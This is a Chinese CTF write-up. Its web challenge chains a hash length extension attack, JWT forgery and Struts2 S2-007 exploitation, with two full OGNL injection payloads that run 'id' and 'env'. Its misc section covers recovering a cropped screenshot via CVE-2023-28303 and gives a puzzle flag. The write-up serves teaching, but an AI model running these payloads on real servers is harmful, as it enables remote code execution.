※CTF
web
jwt2struts
- F12,发现提示。
进入
JWT_key.php
,得到源码。
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}根据源码,可以知道
salt
长度为14,常规做法是把salt
爆破出来。可以利用 hash长度拓展攻击 来绕过验证,从而得到secret_key
。利用
hashpump
生成新的MD5
和password
。把
\x
换成%
,用bp发送过去,即可得到secret_key
。、回到开始的页面,开始伪造
jwt
。拿到cookie,去 jwt.io 将user改成admin。将
access_token
的值改成新伪造好的值,即可进入下面这个页面。
根据题目名称,前面是jwt了,那么后面是struts2,源码中也有提示。
经过测试,是
S2-007
, ctfshow web281-S2-007 。执行任意代码poc:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
传入后即可执行
id
并回显。执行命令
env
查看环境变量,即可得到flag。' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
misc
snippingTools
题目描述:
Alice在参加某个CTF比赛,她成功的解出了一道题,拿到了flag。她很开心,迫不及待地想要向Bob分享她的喜悦。于是按下了快捷键Shift+Win+S使用了Windows 11的截图工具,截取了整个屏幕,并且保存为文件1.png。然后,考虑到比赛规则中规定flag需要保密,她使用了截图工具中的“裁剪”功能,将flag裁剪掉了一部分,然后将裁剪结果覆盖了原文件1.png并保存。最终,她将1.png发给了Bob。Bob马上就知道了她的整个flag,你知道是如何做到的吗?
题目附件:
用必应搜索一下,发现有cve,得到cve编号为
CVE-2023-28303
。在github上搜索是否有可用工具,搜索到了这个工具,后边是利用这个工具还原图片。
old language
附件:
依照 这个网站 上的内容,对应图片上的图案,即可得到flag为
gikrvzy
评论